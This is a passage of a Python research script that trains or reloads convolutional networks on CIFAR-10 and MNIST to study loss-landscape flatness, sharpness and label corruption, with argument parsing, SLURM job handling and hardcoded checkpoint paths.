get_norm\nfrom good_minima_discriminator import divide_params_by\nfrom good_minima_discriminator import print_evaluation_of_nets\nfrom good_minima_discriminator import divide_params_by_taking_bias_into_account\nfrom good_minima_discriminator import l2_norm_all_params\n\nfrom new_training_algorithms import get_function_evaluation_from_name\nfrom new_training_algorithms import evalaute_running_mdl_data_set\nfrom new_training_algorithms import evalaute_mdl_on_full_data_set\nfrom new_training_algorithms import Trainer\nfrom new_training_algorithms import dont_train\nfrom new_training_algorithms import initialize_to_zero\n\nfrom landscape_inspector_flatness_sharpness import LandscapeInspector\n\nfrom pdb import set_trace as st\n\nimport argparse\n\nfrom collections import OrderedDict\nfrom maps import NamedDict\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nimport socket\n\nparser = argparse.ArgumentParser(description='Flatness Submission Script')\n''' setup params '''\n#parser.add_argument('-cuda','--enable-cuda',action='store_true',help='Enable cuda/gpu')\nparser.add_argument(\"-seed\", \"--seed\", type=int, default=None,\n help=\"The number of games to simulate\")\nparser.add_argument(\"-exptlabel\", \"--exptlabel\", type=str, default='nolabel',\n help=\"experiment label\")\nparser.add_argument('-dont_save_expt_results','--dont_save_expt_results',action='store_true',\n help='If on it does not saves experiment results')\nparser.add_argument(\"-data_set\", \"--data_set\", type=str, default='cifar10',\n help=\"The type of data set\")\n''' NN related arguments '''\nparser.add_argument(\"-epochs\", \"--epochs\", type=int, default=None,\n help=\"The number of games to simulate\")\nparser.add_argument(\"-mdl\", \"--mdl\", type=str, default='debug',\n help=\"mdl\") # options: debug, cifar_10_tutorial_net, BoixNet, LiaoNet\nparser.add_argument('-use_bn','--use_bn',action='store_true',\n help='turns on BN')\nparser.add_argument('-use_dropout','--use_dropout',action='store_true',\n help='turns on dropout')\nparser.add_argument('-dont_standardize_data','--dont_standardize_data',action='store_true',\n help='uses x-u/s, standardize data for preprocessing')\n\nparser.add_argument('-type_standardize','--type_standardize', type=str, default='default',\n help='type standardize for preprocessing')\n\nparser.add_argument(\"-label_corrupt_prob\", \"--label_corrupt_prob\", type=float, default=0.0,\n help=\"The probability of a label getting corrupted\")\nparser.add_argument('-only_1st_layer_bias','--only_1st_layer_bias',action='store_true',\n help='only the first layer will have a bias')\nparser.add_argument(\"-means\", \"--means\", type=str, default='',\n help=\"means for init\")\nparser.add_argument(\"-stds\", \"--stds\", type=str, default='',\n help=\"stds for init\")\n''' training argument '''\nparser.add_argument(\"-train_alg\", \"--train_alg\", type=str, default='SGD',\n help=\"Training algorithm to use\")\nparser.add_argument(\"-reg_param\", \"--reg_param\", type=float, default=0.0,\n help=\"regularizer param for ||W||_norm\")\nparser.add_argument(\"-Lp_norm\", \"--Lp_norm\", type=float, default=2,\n help=\"Lp_norm ||W||_p which p to use\")\nparser.add_argument(\"-noise_level\", \"--noise_level\", type=float, default=0.0001,\n help=\"Noise level for perturbation\")\nparser.add_argument(\"-not_pert_w_norm2\", \"--not_pert_w_norm2\",action='store_false',\n help=\"Noise level for perturbation\")\nparser.add_argument(\"-epsilon\", \"--epsilon\", type=float, default=0.05,\n help=\"Epsilon error.\") ## what is this?\nparser.add_argument('-save_every_epoch','--save_every_epoch',action='store_true',\n help='save model at the end of every epoch')\nparser.add_argument(\"-lr\", \"--lr\", type=float, default=0.01,\n help=\"decay_rate for scheduler.\")\nparser.add_argument(\"-decay_rate\", \"--decay_rate\", type=float, default=1.0,\n help=\"decay_rate for scheduler.\")\nparser.add_argument(\"-evalaute_mdl_data_set\", \"--evalaute_mdl_data_set\", type=str, default='evalaute_running_mdl_data_set',\n help=\"which method to evaluate the net at the end of each epoch.\")\n''' radius expt params '''\nparser.add_argument(\"-net_name\", \"--net_name\", type=str, default='NL',\n help=\"Training algorithm to use\")\nparser.add_argument(\"-nb_dirs\", \"--nb_dirs\", type=int, default=100,\n help=\"# Random Directions\")\nparser.add_argument(\"-r_large\", \"--r_large\", type=float, default=30,\n help=\"How far to go on the radius to the end from center\")\n''' other '''\nparser.add_argument('-email','--email',action='store_true',\n help='Enable cuda/gpu')\nparser.add_argument(\"-gpu_id\", \"--gpu_id\", type=int, default=0,\n help=\"Training algorithm to use\")\n''' process args '''\nargs = parser.parse_args()\nsj, satid = 0, 0\nif 'SLURM_ARRAY_TASK_ID' in os.environ and 'SLURM_JOBID' in os.environ:\n satid = int(os.environ['SLURM_ARRAY_TASK_ID'])\n sj = int(os.environ['SLURM_JOBID'])\n\nprint(f'args = {args}\\n')\nprint(f'storing results? = {not args.dont_save_expt_results}')\n\ndef main(plot=True):\n if args.means != '':\n means = [float(x.strip()) for x in args.means.strip('[').strip(']').split(',')]\n else:\n means = []\n if args.stds != '':\n stds = [float(x.strip()) for x in args.stds.strip('[').strip(']').split(',')]\n else:\n stds = []\n ##\n hostname = utils.get_hostname()\n ''' cuda '''\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n print(f'device = {device}')\n ''' '''\n store_net = True\n other_stats = dict({'sj':sj,'satid':satid,'hostname':hostname,'label_corrupt_prob':args.label_corrupt_prob})\n ''' reproducibility setup/params'''\n #num_workers = 2 # how many subprocesses to use for data loading. 0 means that the data will be loaded in the main process.\n githash = subprocess.check_output([\"git\", \"describe\", \"--always\"]).strip()\n seed = args.seed\n if seed is None: # if seed is None it has not been set, so get a random seed, else use the seed that was set\n seed = int.from_bytes(os.urandom(7), byteorder=\"big\")\n print(f'seed: {seed}')\n ## SET SEED/determinism\n num_workers = 3\n torch.manual_seed(seed)\n #torch.backends.cudnn.deterministic=True\n ''' date parameters setup'''\n today_obj = date.today() # contains datetime.date(year, month, day); accessible via .day etc\n day = today_obj.day\n month = calendar.month_name[today_obj.month]\n setup_time = time.time()\n ''' filenames '''\n ## folder names\n results_root = './test_runs_flatness5_ProperOriginalExpt'\n expt_folder = f'flatness_{month}_label_corrupt_prob_{args.label_corrupt_prob}_exptlabel_{args.exptlabel}_' \\\n f'only_1st_layer_BIAS_{args.only_1st_layer_bias}_data_set_{args.data_set}_reg_param_{args.reg_param}'\n ## filenames\n matlab_file_name = f'flatness_{day}_{month}_sj_{sj}_staid_{satid}_seed_{seed}_{hostname}'\n net_file_name = f'net_{day}_{month}_sj_{sj}_staid_{satid}_seed_{seed}_{hostname}'\n ## folder to hold all nets\n all_nets_folder = f'nets_folder_{day}_{month}_sj_{sj}_staid_{satid}_seed_{seed}_{hostname}'\n ## experiment path\n expt_path = os.path.join(results_root,expt_folder)\n ''' data set '''\n data_path = './data'\n standardize = not args.dont_standardize_data # x - mu / std , [-1,+1]\n trainset, testset, classes = data_class.get_data_processors(data_path,args.label_corrupt_prob,dataset_type=args.data_set,standardize=standardize,type_standardize=args.type_standardize)\n ''' experiment params '''\n evalaute_mdl_data_set = get_function_evaluation_from_name(args.evalaute_mdl_data_set)\n suffle_test = False\n shuffle_train = True\n nb_epochs = 4 if args.epochs is None else args.epochs\n batch_size = 256\n #batch_size_train,batch_size_test = batch_size,batch_size\n batch_size_train = batch_size\n batch_size_test = 256\n ''' get NN '''\n nets = []\n mdl = args.mdl\n do_bn = args.use_bn\n other_stats = dict({'mdl':mdl,'do_bn':do_bn, 'type_standardize':args.type_standardize},**other_stats)\n print(f'model = {mdl}')\n if mdl == 'cifar_10_tutorial_net':\n suffle_test = False\n net = nn_mdls.Net()\n nets.append(net)\n elif mdl == 'debug':\n suffle_test = False\n nb_conv_layers=1\n ## conv params\n Fs = [3]*nb_conv_layers\n Ks = [2]*nb_conv_layers\n ## fc params\n FC = len(classes)\n C,H,W = 3,32,32\n net = nn_mdls.LiaoNet(C,H,W,Fs,Ks,FC,do_bn)\n nets.append(net)\n elif mdl == 'sequential':\n batch_size_train = 256\n batch_size_test = 256\n ##\n batch_size = batch_size_train\n suffle_test = False\n ##\n FC = [10,10]\n C,H,W = 3, 32, 32\n # net = torch.nn.Sequential(OrderedDict([\n # ('Flatten',Flatten()),\n # ('FC1', torch.nn.Linear(C*H*W,FC[0])),\n # ('FC2', torch.nn.Linear(FC[0],FC[1]))\n # ]))\n # net = torch.nn.Sequential(OrderedDict([\n # ('Flatten',Flatten()),\n # ('FC1', torch.nn.Linear(C*H*W,FC[0])),\n # ('relu1', torch.nn.ReLU()),\n # ('FC2', torch.nn.Linear(FC[0],FC[1]))\n # ]))\n net = torch.nn.Sequential(OrderedDict([\n ('conv0', torch.nn.Conv2d(3,420,5,bias=True)),\n ('relu0', torch.nn.ReLU()),\n ('conv1', torch.nn.Conv2d(420,50,5, bias=True)),\n ('relu1', torch.nn.ReLU()),\n ('Flatten',Flatten()),\n ('FC1', torch.nn.Linear(28800,50,bias=True)),\n ('relu2', torch.nn.ReLU()),\n ('FC2', torch.nn.Linear(50, 10, bias=True))\n ]))\n ##\n nets.append(net)\n elif mdl == 'BoixNet':\n batch_size_train = 256\n batch_size_test = 256\n ##\n batch_size = batch_size_train\n suffle_test = False\n ## conv params\n nb_filters1,nb_filters2 = 32, 32\n nb_filters1, nb_filters2 = 32, 32\n kernel_size1,kernel_size2 = 5,5\n ## fc params\n nb_units_fc1,nb_units_fc2,nb_units_fc3 = 512,256,len(classes)\n C,H,W = 3,32,32\n net = nn_mdls.BoixNet(C,H,W,nb_filters1,nb_filters2, kernel_size1,kernel_size2, nb_units_fc1,nb_units_fc2,nb_units_fc3,do_bn)\n nets.append(net)\n elif mdl == 'LiaoNet':\n suffle_test = False\n nb_conv_layers=5\n ## conv params\n Fs = [32]*nb_conv_layers\n Ks = [10]*nb_conv_layers\n ## fc params\n FC = len(classes)\n C,H,W = 3,32,32\n net = nn_mdls.LiaoNet(C,H,W,Fs,Ks,FC,do_bn)\n nets.append(net)\n elif mdl == 'GBoixNet':\n #batch_size_train = 16384 # 2**14\n #batch_size_test = 16384\n batch_size_train = 2**10\n batch_size_test = 2**10\n ##\n batch_size = batch_size_train\n suffle_test = False\n ## conv params\n nb_conv_layers=2\n Fs = [34]*nb_conv_layers\n Ks = [5]*nb_conv_layers\n #nb_conv_layers = 4\n #Fs = [60] * nb_conv_layers\n #Ks = [5] * nb_conv_layers\n ## fc params\n FCs = [len(classes)]\n ##\n print(f'------> FCs = {FCs}')\n if args.data_set == 'mnist':\n CHW = (1, 28, 28)\n else:\n CHW = (3,32,32)\n net = nn_mdls.GBoixNet(CHW,Fs,Ks,FCs,do_bn,only_1st_layer_bias=args.only_1st_layer_bias)\n print(f'net = {net}')\n ##\n if len(means) != 0 and len(stds) != 0:\n params = net.named_parameters()\n dict_params = dict(params)\n i = 0\n for name, param in dict_params.items():\n if name in dict_params:\n print(name)\n if name != 'conv0.bias':\n mu,s = means[i], stds[i]\n param.data.normal_(mean=mu,std=s)\n i+=1\n ##\n expt_path = f'{expt_path}_means_{args.means}_stds_{args.stds}'\n other_stats = dict({'means': means, 'stds': stds}, **other_stats)\n ##\n nets.append(net)\n other_stats = dict({'only_1st_layer_bias': args.only_1st_layer_bias}, **other_stats)\n elif mdl == 'AllConvNetStefOe':\n #batch_size_train = 16384 # 2**14\n #batch_size_test = 16384\n #batch_size_train = 2**10\n batch_size_train = 2**10\n batch_size_test = 2**10\n # batch_size_train = 32\n # batch_size_test = 124\n ##\n batch_size = batch_size_train\n suffle_test = False\n ## AllConvNet\n only_1st_layer_bias = args.only_1st_layer_bias\n CHW = (3,32,32)\n dropout = args.use_dropout\n net = nn_mdls.AllConvNetStefOe(nc=len(CHW),dropout=dropout,only_1st_layer_bias=only_1st_layer_bias)\n ##\n nets.append(net)\n other_stats = dict({'only_1st_layer_bias': args.only_1st_layer_bias,'dropout':dropout}, **other_stats)\n expt_path = f'{expt_path}_dropout_{dropout}'\n elif mdl == 'AndyNet':\n #batch_size_train = 16384 # 2**14\n #batch_size_test = 16384\n #batch_size_train = 2**10\n batch_size_train = 2**10\n batch_size_test = 2**10\n # batch_size_train = 32\n # batch_size_test = 124\n ##\n batch_size = batch_size_train\n suffle_test = False\n ## AndyNet\n #only_1st_layer_bias = args.only_1st_layer_bias ## TODO fix\n only_1st_layer_bias = args.only_1st_layer_bias\n CHW = (3,32,32)\n net = nn_mdls.get_AndyNet()\n ##\n nets.append(net)\n other_stats = dict({'only_1st_layer_bias': args.only_1st_layer_bias}, **other_stats)\n expt_path = f'{expt_path}'\n elif mdl == 'interpolate':\n suffle_test = True\n batch_size = 2**10\n batch_size_train, batch_size_test = batch_size, batch_size\n iterations = inf # controls how many epochs to stop before returning the data set error\n #iterations = 1 # controls how many epochs to stop before returning the data set error\n ''' '''\n path_nl = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_NL_polestar/net_27_April_sj_343_staid_1_seed_56134200848018679')\n path_rl_nl = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_RLNL_polestar/net_27_April_sj_345_staid_1_seed_57700439347820897')\n ''' restore nets'''\n net_nl = utils.restore_entire_mdl(path_nl)\n net_rlnl = utils.restore_entire_mdl(path_rl_nl)\n nets.append(net_nl)\n nets.append(net_rlnl)\n elif mdl == 'radius_flatness':\n suffle_test = True\n batch_size = 2**10\n batch_size_train, batch_size_test = batch_size, batch_size\n iterations = 11 # controls how many epochs to stop before returning the data set error\n #iterations = inf # controls how many epochs to stop before returning the data set error\n other_stats = dict({'iterations':iterations},**other_stats)\n ''' load net '''\n if args.net_name == 'NL':\n #path = os.path.join(results_root,'flatness_28_March_label_corrupt_prob_0.0_exptlabel_BoixNet_polestar_300_stand_natural_labels/net_28_March_206')\n path = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_NL_polestar/net_27_April_sj_343_staid_1_seed_56134200848018679')\n else: # RLNL\n #path = os.path.join(results_root,'flatness_28_March_label_corrupt_prob_0.0_exptlabel_re_train_RLBoixNet_noBN_polestar_150/net_28_March_18')\n path = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_RLNL_polestar/net_27_April_sj_345_staid_1_seed_57700439347820897')\n ''' restore nets'''\n net = utils.restore_entire_mdl(path)\n nets.append(net)\n store_net = False\n elif mdl == 'sharpness':\n suffle_test=False #doesn't matter\n ''' load net '''\n if args.net_name == 'NL':\n #path = os.path.join(results_root,'flatness_28_March_label_corrupt_prob_0.0_exptlabel_BoixNet_polestar_300_stand_natural_labels/net_28_March_206')\n path = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_NL_polestar/net_27_April_sj_343_staid_1_seed_56134200848018679')\n path_adverserial_data = os.path.join('./data/sharpness_data_NL/','sdata_NL_net_27_April_sj_343_staid_1_seed_56134200848018679.npz')\n else: # RLNL\n #path = os.path.join(results_root,'flatness_28_March_label_corrupt_prob_0.0_exptlabel_re_train_RLBoixNet_noBN_polestar_150/net_28_March_18')\n path = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_RLNL_polestar/net_27_April_sj_345_staid_1_seed_57700439347820897')\n path_adverserial_data = os.path.join('./data/sharpness_data_RLNL/','sdata_RLNL_net_27_April_sj_345_staid_1_seed_57700439347820897.npz')\n ''' restore nets'''\n net = torch.load(path)\n nets.append(net)\n store_net = False\n elif mdl == 'divide_constant':\n ''' ''' # both false because we want low variation on the output of the error\n iterations = inf # controls how many epochs to stop before returning the data set error\n #iterations = 11 # controls how many epochs to stop before returning the data set error\n batch_size = 2**10\n batch_size_train, batch_size_test = batch_size, batch_size\n shuffle_train = True\n suffle_test = False\n ''' load net '''\n ## NL\n #path_nl = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_NL_polestar/net_27_April_sj_343_staid_1_seed_56134200848018679')\n #path_nl = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_SGD_ManyRuns_Momentum0.9/net_17_May_sj_641_staid_5_seed_31866864409272026_polestar-old')\n path_nl = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_MovieNL_lr_0.01_momentum_0.9/net_22_May_sj_1168_staid_1_seed_59937023958974481_polestar-old_epoch_173')\n ## RLNL\n #path_rlnl = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_RLNL_polestar/net_27_April_sj_345_staid_1_seed_57700439347820897')\n path_rlnl = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_MovieRLNLmdls_label_corruption0.5_lr_0.01_momentum_0.9/net_22_May_sj_1172_staid_1_seed_38150714758131256_polestar-old_epoch_148')\n ##\n net_nl = torch.load(path_nl)\n net_rlnl = torch.load(path_rlnl)\n ''' '''\n print('NL')\n l2_norm_all_params(net_nl)\n print('RLNL')\n l2_norm_all_params(net_rlnl)\n ''' modify nets '''\n W_nl = 1\n W_rlnl = (get_norm(net_rlnl, l=2)/get_norm(net_nl, l=2)) # 2.284937620162964\n W_rlnl = (10)**(1.0/3.0)\n #W_rlnl = 1/0.57775\n #W_rlnl = 1/0.7185\n #W_rlnl = 1/0.85925\n #W_rlnl = 1\n print(f'W_rlnl = {W_rlnl}')\n print(f'norm of weight BEFORE division: get_norm(net_nl,l=2)={get_norm(net_nl,l=2)}, get_norm(net_rlnl,l=2)={get_norm(net_rlnl,l=2)}')\n #net_nl = divide_params_by(W_nl, net_nl)\n #net_rlnl = divide_params_by(W_rlnl, net_rlnl)\n net_rlnl = divide_params_by_taking_bias_into_account(W=W_rlnl,net=net_rlnl)\n print(f'norm of weight AFTER division: get_norm(net_nl,l=2)={get_norm(net_nl,l=2)}, get_norm(net_rlnl,l=2)={get_norm(net_rlnl,l=2)}')\n nets.append(net_nl)\n nets.append(net_rlnl)\n other_stats = dict({'W_rlnl':W_rlnl,'W_nl':W_nl})\n elif mdl == 'load_nl_and_rlnl':\n ''' load net '''\n # NL\n #path = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_NL_polestar/net_27_April_sj_343_staid_1_seed_56134200848018679')\n path = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_MovieNL_lr_0.01_momentum_0.9/net_22_May_sj_1168_staid_1_seed_59937023958974481_polestar-old_epoch_173')\n net = torch.load(path)\n nets.append(net)\n # RLNL\n #path_rlnl = os.path.join(results_root,'flatness_27_April_label_corrupt_prob_0.0_exptlabel_GB_24_24_10_2C1FC_momentum_RLNL_polestar/net_27_April_sj_345_staid_1_seed_57700439347820897')\n path_rlnl = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_MovieRLNLmdls_label_corruption0.5_lr_0.01_momentum_0.9/net_22_May_sj_1172_staid_1_seed_38150714758131256_polestar-old_epoch_148')\n net_rlnl = torch.load(path_rlnl)\n nets.append(net_rlnl)\n other_stats = dict({'path': path, 'path_rlnl': path_rlnl}, **other_stats)\n elif mdl == 'load_one_net':\n # path = os.path.join(results_root, '/')\n ''' load net '''\n ## 0.0001\n path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0001_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_974_staid_1_seed_44940314088747654_polestar-old')\n ## 0.001\n path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.001_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_967_staid_1_seed_1986409594254668_polestar-old')\n ## 0.01\n path = os.path.join(results_root, 'flatness_June_label_corrupt_prob_0.01_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_976_staid_1_seed_34669758900780265_polestar-old')\n ## 0.1\n path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.1_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_977_staid_1_seed_57003505407221650_polestar-old')\n ## 0.2\n path = os.path.join(results_root, 'flatness_June_label_corrupt_prob_0.2_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_978_staid_1_seed_63479113068450657_polestar-old')\n ## 0.5\n path = os.path.join(results_root, 'flatness_June_label_corrupt_prob_0.5_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_979_staid_1_seed_51183371945505111_polestar-old')\n ## 0.75\n path = os.path.join(results_root, 'flatness_June_label_corrupt_prob_0.75_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_980_staid_1_seed_63292262317939652_polestar-old')\n ## 1.0\n path = os.path.join(results_root, 'flatness_June_label_corrupt_prob_1.0_exptlabel_RLInits_only_1st_layer_BIAS_True_batch_size_train_1024_lr_0.01_momentum_0.9_scheduler_milestones_200,250,300_gamma_1.0/net_21_June_sj_981_staid_1_seed_34295360820373818_polestar-old')\n ''' load net '''\n net = torch.load(path)\n nets.append(net)\n other_stats = dict({'path': path}, **other_stats)\n elif mdl == 'l2_norm_all_params':\n ''' load net '''\n # path = os.path.join(results_root,'flatness_June_label_corrupt_sqprob_0.0_exptlabel_WeightDecay_lambda100_lr_0.1_momentum_0.0/net_1_June_sj_2833_staid_2_seed_45828051420330772_polestar-old')\n # path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_WeightDecay_lambda1_lr_0.1_momentum_0.0/net_1_June_sj_2830_staid_1_seed_53714812690274511_polestar-old')\n # path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_WeightDecay_lambda0.1_lr_0.1_momentum_0.0/net_1_June_sj_2835_staid_2_seed_66755608399194708_polestar-old')\n # path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_WeightDecay_lambda0.01_lr_0.1_momentum_0.0/net_1_June_sj_2832_staid_1_seed_47715620118836168_polestar-old')\n\n #path = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_WeightDecay_lambda0.1_lr_0.01_momentum_0.9/net_31_May_sj_2784_staid_1_seed_59165331201064855_polestar-old')\n #path = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_WeightDecay_lambda0.01_lr_0.01_momentum_0.9/net_31_May_sj_2792_staid_1_seed_42391375291583068_polestar-old')\n #path = os.path.join(results_root,'flatness_May_label_corrupt_prob_0.0_exptlabel_WeightDecay_lambda0.001_lr_0.01_momentum_0.9/net_31_May_sj_2793_staid_2_seed_47559284752010338_polestar-old')\n\n #path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_L2_squared_lambda1_lr_0.1_momentum_0.0/net_1_June_sj_2841_staid_2_seed_29441453139027048_polestar-old')\n #path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_L2_squared_lambda0.1_lr_0.1_momentum_0.0/net_1_June_sj_2839_staid_2_seed_35447208985369634_polestar-old')\n #path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_L2_squared_lambda0.01_lr_0.1_momentum_0.0/net_1_June_sj_2837_staid_2_seed_57556488720733908_polestar-old')\n #path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_L2_squared_lambda0.001_lr_0.1_momentum_0.0/net_1_June_sj_2848_staid_1_seed_48943421305461120_polestar-old')\n #path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_L2_squared_lambda0.0001_lr_0.1_momentum_0.0/net_1_June_sj_2850_staid_1_seed_2881772832480048_polestar-old')\n #path = os.path.join(results_root,'flatness_June_label_corrupt_prob_0.0_exptlabel_L2_squared_lambda0.00001_lr_0.1_momentum_0.0/net_1_June_sj_2852_staid_1_seed_24293440492629928_polestar-old')\n print(f'path = {path}')\n net = torch.load(path)\n ''' l2_norm_all_params '''\n l2_norm_all_params(net)\n ''' evaluate data set '''\n standardize = not args.dont_standardize_data # x - mu / std , [-1,+1]\n error_criterion = metrics.error_criterion\n criterion = torch.nn.CrossEntropyLoss()\n trainset, testset, classes = data_class.get_data_processors(data_path, args.label_corrupt_prob,dataset_type=args.data_set,standardize=standardize)\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=batch_size_train, shuffle=shuffle_train,num_workers=num_workers)\n testloader = torch.utils.data.DataLoader(testset, batch_size=batch_size_test, shuffle=suffle_test,num_workers=num_workers)\n train_loss_epoch, train_error_epoch = evalaute_mdl_data_set(criterion, error_criterion, net,trainloader,device)\n test_loss_epoch, test_error_epoch = evalaute_mdl_data_set(criterion, error_criterion, net,testloader,device)\n print(f'[-1, -1], (train_loss: {train_loss_epoch}, train error: {train_error_epoch}) , (test loss: {test_loss_epoch}, test error: {test_error_epoch})')\n ''' end '''\n nets.append(net)\n sys.exit()\n else:\n print('RESTORED FROM PRE-TRAINED NET')\n suffle_test = False\n ''' RESTORED PRE-TRAINED NET '''\n # example name of file, os.path.join(results_root,expt_path,f'net_{day}_{month}_{seed}')\n # args.net_path = 'flatness_27_March_label_corrupt_prob_0_exptlabel_BoixNet_stand_600_OM/net_27_Match_64'\n path_to_mdl = args.mdl\n path = os.path.join(results_root,path_to_mdl)\n # net = utils.restore_entire_mdl(path)\n net = torch.load(path)\n nets.append(net)\n print(f'nets = {nets}')\n ''' cuda/gpu '''\n for net in nets:\n net.to(device)\n nb_params = nn_mdls.count_nb_params(net)\n ''' stats collector '''\n stats_collector = StatsCollector(net)\n ''' get data set '''\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=batch_size_train, shuffle=shuffle_train, num_workers=num_workers)\n testloader = torch.utils.data.DataLoader(testset, batch_size=batch_size_test, shuffle=suffle_test, num_workers=num_workers)\n ''' Cross Entropy + Optmizer '''\n lr = args.lr\n momentum = 0.9\n ## Error/Loss criterions\n error_criterion = metrics.error_criterion\n criterion = torch.nn.CrossEntropyLoss()\n #criterion = torch.nn.MultiMarginLoss()\n #criterion = torch.nn.MSELoss(size_average=True)\n print(f'Training Algorithm = {args.train_alg}')\n if args.train_alg == 'SGD':\n optimizer = optim.SGD(net.parameters(), lr=lr, momentum=momentum)\n elif args.train_alg == 'Adam':\n optimizer = optim.Adam(net.parameters(), lr=lr)\n else:\n raise ValueError(f'Training alg not existent: {args.train_alg}')\n other_stats = dict({'nb_epochs':nb_epochs,'batch_size':batch_size,'mdl':mdl,'lr':lr,'momentum':momentum, 'seed':seed,'githash':githash},**other_stats)\n expt_path = f'{expt_path}_args.train_alg_{args.train_alg}_batch_train_{batch_size_train}_lr_{lr}_moment_{momentum}_epochs_{nb_epochs}'\n ''' scheduler '''\n #milestones = [20, 30, 40]\n milestones = [200, 250, 300]\n #milestones = [700, 800, 900]\n #milestones = [1700, 1800, 1900]\n scheduler_gamma = args.decay_rate\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=milestones, gamma=scheduler_gamma)\n other_stats = dict({'milestones': milestones, 'scheduler_gamma': scheduler_gamma}, **other_stats)\n milestones_str = ','.join(str(m) for m in milestones)\n #expt_path = f'{expt_path}_scheduler_milestones_{milestones_str}_gamma_{gamma}'\n expt_path = f'{expt_path}_scheduler_gamma_{scheduler_gamma}'\n print(f'scheduler_gamma = {scheduler_gamma}')\n ''' Verify model you got has the right error'''\n train_loss_epoch, train_error_epoch = evalaute_mdl_data_set(criterion, error_criterion, net, trainloader, device)\n test_loss_epoch, test_error_epoch = evalaute_mdl_data_set(criterion, error_criterion, net, testloader, device)\n print(f'train_loss_epoch, train_error_epoch = {train_loss_epoch}, {train_error_epoch} \\n test_loss_epoch, test_error_epoch = {test_loss_epoch}, {test_error_epoch}')\n ''' Is it over parametrized?'''\n overparametrized = len(trainset)<nb_params # N < W ?\n print(f'Model overparametrized? N, W = {len(trainset)} vs {nb_params}')\n print(f'Model overparametrized? N < W = {overparametrized}')\n other_stats = dict({'overparametrized':overparametrized,'nb_params':nb_params}, **other_stats)\n ''' report time for setup'''\n seconds_setup,minutes_setup,hours_setup = utils.report_times(setup_time,'setup')\n other_stats = dict({'seconds_setup': seconds_setup, 'minutes_setup': minutes_setup, 'hours_setup': hours_setup}, **other_stats)\n ''' Start Training '''\n training_time = time.time()\n print(f'----\\nSTART training: label_corrupt_prob={args.label_corrupt_prob},nb_epochs={nb_epochs},batch_size={batch_size},lr={lr},momentum={momentum},mdl={mdl},batch-norm={do_bn},nb_params={nb_params}')\n ## START TRAIN\n if args.train_alg == 'SGD' or args.train_alg == 'Adam':\n #iterations = 4 # the number of iterations to get a sense of test error, smaller faster larger more accurate. Grows as sqrt(n) though.\n iterations = inf\n ''' set up Trainer '''\n if args.save_every_epoch:\n save_every_epoch = args.save_every_epoch\n trainer = Trainer(trainloader, testloader, optimizer, scheduler, criterion, error_criterion, stats_collector,\n device, expt_path,net_file_name,all_nets_folder,save_every_epoch,args.evalaute_mdl_data_set,\n reg_param=args.reg_param,p=args.Lp_norm)\n else:\n trainer = Trainer(trainloader,testloader, optimizer, scheduler, criterion,error_criterion, stats_collector,\n device,evalaute_mdl_data_set=args.evalaute_mdl_data_set,reg_param=args.reg_param,p=args.Lp_norm)\n last_errors = trainer.train_and_track_stats(net, nb_epochs,iterations)\n ''' Test the Network on the test data '''\n train_loss_epoch, train_error_epoch, test_loss_epoch, 